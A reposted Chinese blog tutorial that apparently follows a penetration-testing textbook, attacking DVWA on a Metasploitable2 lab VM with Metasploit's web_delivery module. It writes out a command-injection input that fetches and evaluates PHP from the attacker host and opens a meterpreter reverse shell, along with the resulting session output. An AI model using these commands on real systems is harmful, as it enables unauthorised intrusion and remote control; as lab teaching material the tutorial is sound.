iis服务器助手广告广告
返回顶部
首页 > 资讯 > 操作系统 >使用Kali Linux Metasploit 对WEB应用进行攻击 以DVWA为例
  • 214
分享到

使用Kali Linux Metasploit 对WEB应用进行攻击 以DVWA为例

kaliDVWAmetasploit 2023-09-09 17:09:51 214人浏览 八月长安
摘要

目录 说明环境准备步骤确认攻击机所在网络信息确认所在网络存活主机信息网页访问DVWA打开Command Execution 打开Metasploit使用web_delivery模块运行

目录

说明

按照《Kali linux2 网络渗透测试实践指南 第二版 》第七章操作
仅供学习讨论使用,请勿进行非法操作
请添加图片描述

环境准备

“邪灵工作室“公众号”下载作者提供的 Metasploitable2 虚拟机
到kali 官网下载对应虚拟机并完成安装
上述虚拟机在VM Ware中打开

步骤

确认攻击机所在网络信息

ifconfig

请添加图片描述
可以看出本机ip地址为 192.168.229.133

确认所在网络存活主机信息

nmap 192.168.229.0/24

请添加图片描述

可以看出 192.168.229.134存活,也就是Metasploitable2 虚拟机

网页访问DVWA

Metasploitable2 虚拟机预装了DVWA,直接在kali 攻击机,浏览器地址输入 192.168.229.134
用户名admin, 密码passWord
请添加图片描述
把security安全等级设为low
请添加图片描述

打开Command Execution

打开Metasploit

msfconsole

使用WEB_delivery模块

search web_delivery

请添加图片描述
使用第2个,ID 为1 的exploit模块

msf6 > use 1

请添加图片描述
可以看到不止一种语言支持,所以切换到PHP的对应攻击环境下 (DVWA基于php实现)

msf6 exploit(multi/script/web_delivery) > set target 1target => 1msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcppayload => php/meterpreter/reverse_tcpmsf6 exploit(multi/script/web_delivery) > set LHOST 192.168.229.133LHOST => 192.168.229.133

请添加图片描述

运行

请添加图片描述
提示告诉我们需要在目标网页上输入

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.229.133:8080/s1JewPn81KZ', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

请添加图片描述
但是实际运行后却报错,根据错误修改上述参数如下,可以成功
图中红色实际为之前报错留下的,不影响,这时候切回Kali

127.0.0.1 | php -d allow_url_fopen=true -r "eval(file_get_contents('Http://192.168.229.133:8080/s1JewPn81KZ'));"

请添加图片描述

控制

在浏览器旋转的时候,回到Kali主机内可以看到木马传送到DVWA所在机器使用sessions指令获取当前建立的session信息,从而进入控制,sysinfo获取DVWA所在主机信息

msf6 exploit(multi/script/web_delivery) > sessionsActive sessions===============  Id  Name  Type                   InfORMation                Connection  --  ----  ----                   -----------                ----------  1         meterpreter php/linux  www-data @ metasploitable  192.168.229.133:4444 -> 192.168.229.134:48700 (192.168.229.134)msf6 exploit(multi/script/web_delivery) > getuid[-] Unknown command: getuidmsf6 exploit(multi/script/web_delivery) > sessions -i 1[*] Starting interaction with 1...meterpreter > sysinfoComputer    : metasploitableOS          : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686Meterpreter : php/linux

请添加图片描述
结束!

来源地址:https://blog.csdn.net/xujing19920814/article/details/127137770

--结束END--

本文标题: 使用Kali Linux Metasploit 对WEB应用进行攻击 以DVWA为例

本文链接: https://www.lsjlt.com/news/401736.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作